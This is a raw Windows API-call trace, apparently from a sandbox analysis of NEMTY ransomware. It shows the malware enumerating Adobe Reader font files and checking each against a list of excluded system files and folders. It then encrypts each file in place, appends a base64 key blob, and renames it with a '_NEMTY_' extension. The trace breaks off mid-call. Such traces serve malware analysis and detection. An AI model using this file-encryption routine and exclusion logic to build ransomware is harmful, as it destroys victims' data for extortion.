1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.163] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835e8000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-BoldItalic.otf", cAlternateFileName="ADOBET~3.OTF")) returned 1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2=".") returned 1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="..") returned 1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="...") returned 1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="windows") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="rsa") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="NTDETECT.COM") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="ntldr") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="MSDOS.SYS") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="IO.SYS") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="boot.ini") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="boot.ini") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="ntuser.dat") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="desktop.ini") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="CONFIG.SYS") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="RECYCLER") returned -1 [0214.163] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.164] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="bootmgr") returned -1 [0214.164] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="programdata") returned -1 [0214.164] lstrcmpiW (lpString1="AdobeThai-BoldItalic.otf", lpString2="appdata") returned -1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 24 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 24 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 24 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-BoldItalic.otf", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 24 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.164] Sleep (dwMilliseconds=0x5) [0214.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334b00b0, dwHighDateTime=0x1d561e8)) [0214.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334b00b0, dwHighDateTime=0x1d561e8)) [0214.170] GetLastError () returned 0x0 [0214.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.170] GetLastError () returned 0x0 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.171] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.171] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="cT06gGhrRhfKUNgShy01SxdFd1hL2yMGyRXlM1L0ZD74Z8REKRxxm++H6z/FlP4t\r\nsH1hL1JDLpAPxnYAtU5JgY3QUa5fGi+GWaQT26PLQ/ET9VKqNz3TxOaktPB9BMS0\r\npzh4pjLU3xxFffCCPTTRLZVE3QKjnaQCpv6k7HqtvLwf1/CvbTqLb89Ef1CmhUVo\r\nE+3Dorf3CR9/DbBMDhl7IZxsFTYd6n2AkM5iAhlPhB2W2CHiW5lwUtHX9Li0F0+9\r\nZk/dvL5oMSCyXzWh5E41k1R9ejUnW6FIaZAuUZm+v4aSVeG/ujdnDZ0xwsn8CbLv\r\n6Qv45l4r+yXU0SKbKmzKAQ==\r\n", pcchString=0x653e91c) returned 1 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.171] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.171] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=70308) returned 1 [0214.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x112a0) returned 0x6352c48 [0214.172] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.172] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x112a0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x112a0, lpOverlapped=0x0) returned 1 [0214.177] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.177] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x112a0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x112a0, lpOverlapped=0x0) returned 1 [0214.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.178] SetFilePointer (in: hFile=0x254, lDistanceToMove=70308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x112a4 [0214.178] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.178] CloseHandle (hObject=0x254) returned 1 [0214.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94280 [0214.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0214.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.178] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bolditalic.otf._nemty_kgobjgd_")) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.179] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Italic.otf", cAlternateFileName="ADOBET~4.OTF")) returned 1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2=".") returned 1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="..") returned 1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="...") returned 1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="windows") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="rsa") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="NTDETECT.COM") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="ntldr") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="MSDOS.SYS") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="IO.SYS") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="boot.ini") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="boot.ini") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="ntuser.dat") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="desktop.ini") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="CONFIG.SYS") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="RECYCLER") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="bootmgr") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="programdata") returned -1 [0214.179] lstrcmpiW (lpString1="AdobeThai-Italic.otf", lpString2="appdata") returned -1 [0214.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Italic.otf", lpUsedDefaultChar=0x0) returned 20 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Italic.otf", lpUsedDefaultChar=0x0) returned 20 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Italic.otf", lpUsedDefaultChar=0x0) returned 20 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Italic.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Italic.otf", lpUsedDefaultChar=0x0) returned 20 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.180] Sleep (dwMilliseconds=0x5) [0214.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334d6210, dwHighDateTime=0x1d561e8)) [0214.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334d6210, dwHighDateTime=0x1d561e8)) [0214.186] GetLastError () returned 0x0 [0214.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.186] GetLastError () returned 0x0 [0214.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.186] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.187] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.187] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/y9YqH9ZNmuzsZrmEFsXuVvuw/aiSJ4f5HhiNzBTzZynhlLM9HKtemqNOPRe69HE\r\n/BQL98PeU/DfPTIuKSE311MLwH88JGbBWYr196PKjmfYH8efL3ieU283Se4xnFSK\r\n0x3Hr+jlSOD++sXX6icW/PRALjocUoTQtceyciqTRUJpyzNcXw0l9ZX2MZFrdo4+\r\nOTtac3vlOMHR1dW6bqtcEnTjmA12wflf4Y1u7Ai8IepUaZ2NbfkC9GMuJ79RvZxL\r\nNJyyTxghKy84aN5znvApv8s83x1QisK+GiMtyiiJk20rqbLR42vBUfDJNHv5Axcz\r\nZSEIVdwwurXvqBrZkWMpdQ==\r\n", pcchString=0x653e91c) returned 1 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.187] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-italic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.187] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=70584) returned 1 [0214.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x113b0) returned 0x6352c48 [0214.187] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.187] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x113b0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x113b0, 